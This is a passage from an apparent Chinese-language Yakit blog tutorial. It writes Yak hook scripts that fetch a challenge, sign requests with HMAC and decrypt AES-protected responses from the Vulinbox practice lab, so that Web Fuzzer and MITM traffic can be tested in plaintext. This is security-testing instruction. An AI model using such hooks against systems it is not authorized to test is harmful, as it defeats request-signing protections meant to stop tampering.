<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="3把受保护响应解成明文">3、把受保护响应解成明文<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#3%E6%8A%8A%E5%8F%97%E4%BF%9D%E6%8A%A4%E5%93%8D%E5%BA%94%E8%A7%A3%E6%88%90%E6%98%8E%E6%96%87" class="hash-link" aria-label="3、把受保护响应解成明文的直接链接" title="3、把受保护响应解成明文的直接链接" translate="no">​</a></h3>
<p>拿到这段响应之后，我们继续按照同样的思路，写一个只负责解密响应的函数：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">API_AES_KEY = "YakitVulinboxAES"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">decryptProtectedPacket = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes = codec.DecodeBase64(params.data)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return string(plain)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>同样可以把刚才抓到的响应原文直接贴进去验证：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">API_AES_KEY = "YakitVulinboxAES"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">decryptProtectedPacket = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes = codec.DecodeBase64(params.data)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return string(plain)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">responsePacket = &lt;&lt;&lt;TEXT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"data":"xLZ8ri0BmAqw72zNycPmzSQ1qkJ+QVASKyqy6j/D7rLjRyBwT/Tpn5BJCjLfEMVEReS9iglSFzikuQvL1q+NSwiMCHHWFRyybPyq9oUXd+xR/1xFIxCCoNM8Ud5JG+3HDlW8lJZ4Yo9dM9snojIf3Ks+dHl8kBTD8ePARUllTJ9MwXst/33X23acG27BtPJycvn/bptDTfqKyknPLdIQYwM0ozrteuCTGcjLWH0DtnH2CW8D46PuMtpgXKd9HyRhcBIu+uuY5Z+vSTPe48TwARuhX9FUG/F/odywOW5EalA=","iv":"4DqWSC1nHDF9AX183lb1DQ=="}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TEXT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">println(decryptProtectedPacket(responsePacket))</span><br></span></code></pre></div></div>
<p>运行之后，你就会得到最终的明文结果：</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">{"email":"admin@yaklang.io","message":"Congratulations! You have successfully passed the challenge.","permission":"all","used_nonce":"bc13cef03c7d2f3427902e45300cd3d6ca0551afdb3422adb4e639431b0ae6e3","user":"admin"}</span><br></span></code></pre></div></div>
<p>到这里为止，才算是真正把这条链路“手工验证”完毕。可以发现，还是比较繁琐的，而且很有"割裂感”，需要在不同的地方跳来跳去，整个调试过程十分不流畅。下面我们看看用全局热加载的方式，如何提升流畅度。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="全局加热">全局加热<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%A8%E5%B1%80%E5%8A%A0%E7%83%AD" class="hash-link" aria-label="全局加热的直接链接" title="全局加热的直接链接" translate="no">​</a></h2>
<p>既然整条链路已经清楚，那么热加载脚本最核心的内容其实只有两块：</p>
<p>1、自动获取 challenge 并生成签名。</p>
<p>2、自动解密受保护接口的响应。</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1获取-challenge-并计算签名">1、获取 challenge 并计算签名<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1%E8%8E%B7%E5%8F%96-challenge-%E5%B9%B6%E8%AE%A1%E7%AE%97%E7%AD%BE%E5%90%8D" class="hash-link" aria-label="1、获取 challenge 并计算签名的直接链接" title="1、获取 challenge 并计算签名的直接链接" translate="no">​</a></h4>
<p>我们先把 challenge 获取和签名计算封装成一个函数。它做的事情非常直接：</p>
<p>1、从当前 HTTP 数据包里取出 Host。</p>
<p>2、构造一个到 <code>/api/get-challenge</code> 的请求。</p>
<p>3、解析返回的 <code>challenge</code> 和 <code>iv</code>。</p>
<p>4、解密出 nonce。</p>
<p>5、用 HMAC-SHA256 计算签名。</p>
<p>代码如下：</p>
<div class="language-swift codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-swift codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">fetchChallengeSignature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    host </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"Host"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">panic</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal string" style="color:#e3116c">"global hotpatch: request host is empty"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"GET /api/get-challenge HTTP/1.1\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal string" style="color:#e3116c">"Host: "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> host </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string-literal string" style="color:#e3116c">"\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal string" style="color:#e3116c">"User-Agent: yak-global-hotpatch-demo\r\n"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token string-literal string" style="color:#e3116c">"Connection: close\r\n\r\n"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token omit keyword" style="color:#00009f">_</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">HTTP</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        challengeReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">https</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">timeout</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">save</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">challengeRsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">challenge</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">iv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    nonce </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">AESCBCDecrypt</span><span class="token punctuation" style="color:#393A34">(</span><span class="token constant" style="color:#36acaa">API_AES_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> challengeBytes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ivBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">EncodeToHex</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token class-name">HmacSha256</span><span class="token punctuation" style="color:#393A34">(</span><span class="token constant" style="color:#36acaa">API_SIGN_KEY</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> nonce</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>在这个函数里，最重要的返回值就是最终的 <code>signature</code>。、</p>
<p>后面无论是 Web Fuzzer 还是 MITM，只要请求命中了目标接口，都可以复用这段逻辑。</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2解密受保护接口响应">2、解密受保护接口响应<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2%E8%A7%A3%E5%AF%86%E5%8F%97%E4%BF%9D%E6%8A%A4%E6%8E%A5%E5%8F%A3%E5%93%8D%E5%BA%94" class="hash-link" aria-label="2、解密受保护接口响应的直接链接" title="2、解密受保护接口响应的直接链接" translate="no">​</a></h4>
<p>第二个函数负责对响应做还原。这个函数要处理的是 <code>/api/user/info</code> 返回的 <code>data + iv</code> 结构：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">decryptProtectedResponse = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = string(poc.GetHTTPPacketBody(packet))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    if !str.Contains(body, `"data"`) || !str.Contains(body, `"iv"`) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        return packet</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    }</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes = codec.DecodeBase64(params.data)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain = codec.AESCBCDecrypt(API_AES_KEY, dataBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return poc.ReplaceHTTPPacketBody(packet, plain)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>这段代码做了三件事：</p>
<p>1、取出 HTTP Body。</p>
<p>2、解析 <code>data</code> 和 <code>iv</code>。</p>
<p>3、解密之后，把 HTTP Body 替换成明文。</p>
<p>这里的重点不在“会不会 AES-CBC 解密”，而在于它返回的是一个新的 HTTP 数据包。也就是说，这个函数不是只给你一个字符串，而是可以直接继续往热加载链路里传递。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="把函数挂到全局热加载链路里">把函数挂到全局热加载链路里<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E6%8A%8A%E5%87%BD%E6%95%B0%E6%8C%82%E5%88%B0%E5%85%A8%E5%B1%80%E7%83%AD%E5%8A%A0%E8%BD%BD%E9%93%BE%E8%B7%AF%E9%87%8C" class="hash-link" aria-label="把函数挂到全局热加载链路里的直接链接" title="把函数挂到全局热加载链路里的直接链接" translate="no">​</a></h2>
<p>有了上面两个函数之后，下面就是最关键的一步：决定它们应该挂在哪些 Hook 上。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1beforerequest-负责自动补签名">1、<code>beforeRequest</code> 负责自动补签名<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1beforerequest-%E8%B4%9F%E8%B4%A3%E8%87%AA%E5%8A%A8%E8%A1%A5%E7%AD%BE%E5%90%8D" class="hash-link" aria-label="1beforerequest-负责自动补签名的直接链接" title="1beforerequest-负责自动补签名的直接链接" translate="no">​</a></h3>
<p>在请求发出去之前，如果发现当前目标是 <code>/api/user/info</code>，就先调用 <code>fetchChallengeSignature</code>，然后把签名补进请求头：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originReq</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">fetchChallengeSignature</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"X-Auth-Signature"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signature</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这个 Hook 的意义很明确：用户在 Fuzzer 里不需要手工先跑 challenge，只需要发原始业务请求即可。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2afterrequest-负责按需解密在线响应">2、<code>afterRequest</code> 负责按需解密在线响应<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2afterrequest-%E8%B4%9F%E8%B4%A3%E6%8C%89%E9%9C%80%E8%A7%A3%E5%AF%86%E5%9C%A8%E7%BA%BF%E5%93%8D%E5%BA%94" class="hash-link" aria-label="2afterrequest-负责按需解密在线响应的直接链接" title="2afterrequest-负责按需解密在线响应的直接链接" translate="no">​</a></h3>
<p>如果我们总是在在线链路里把响应改成明文，会有一个现实问题：浏览器前端可能本来期望收到的是密文 JSON，强行改成明文后，前端自己的解密流程反而会报错。</p>
<p>所以这里不适合无条件解密在线响应。更稳妥的办法是，加一个只给 YAK 自己看的开关：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token constant" style="color:#36acaa">PLAINTEXT_HEADER</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"X-Yak-Force-Plaintext"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">afterRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originReq</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> originRsp</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">isHttps</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">PLAINTEXT_HEADER</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"1"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">decryptProtectedResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这样一来：</p>
<p>1、Web Fuzzer 想直接看明文时，可以主动带上 <code>X-Yak-Force-Plaintext: 1</code>。</p>
<p>2、普通在线流量如果没有这个标记，就不会被强行改写，而是通过下面的<code>hijackSaveHTTPFlow</code> 方式，在 Yakit中显示明文</p>
<blockquote>
<p>此处添加 <code>X-Yak-Force-Plaintext</code> 只是为了让用户理解 <code>afterRequest</code>，本质上可以不需要额外添加这个 header</p>
</blockquote>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="3hijacksavehttpflow-负责让-mitm-存库结果可读">3、<code>hijackSaveHTTPFlow</code> 负责让 MITM 存库结果可读<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#3hijacksavehttpflow-%E8%B4%9F%E8%B4%A3%E8%AE%A9-mitm-%E5%AD%98%E5%BA%93%E7%BB%93%E6%9E%9C%E5%8F%AF%E8%AF%BB" class="hash-link" aria-label="3hijacksavehttpflow-负责让-mitm-存库结果可读的直接链接" title="3hijacksavehttpflow-负责让-mitm-存库结果可读的直接链接" translate="no">​</a></h3>
<p>MITM 的目标和 Web Fuzzer 不完全一样。对于 MITM 来说，很多时候更重要的是“保存到数据库里的流量是否容易分析”，而不是真的将明文返回给服务器。</p>
<p>因此这里更合适的做法是：</p>
<p>1、不破坏浏览器真实收到的响应。</p>
<p>2、只在保存 HTTP Flow 时，把响应改写成明文。</p>
<p>代码如下：</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">hijackSaveHTTPFlow </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter">flow</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> modify</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> drop</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token property-access maybe-class-name">Request</span><span class="token punctuation" style="color:#393A34">)</span><span class="token operator" style="color:#393A34">~</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token parameter boolean" style="color:#36acaa">true</span><span class="token parameter punctuation" style="color:#393A34">,</span><span class="token parameter"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword control-flow" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token method function property-access maybe-class-name" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" 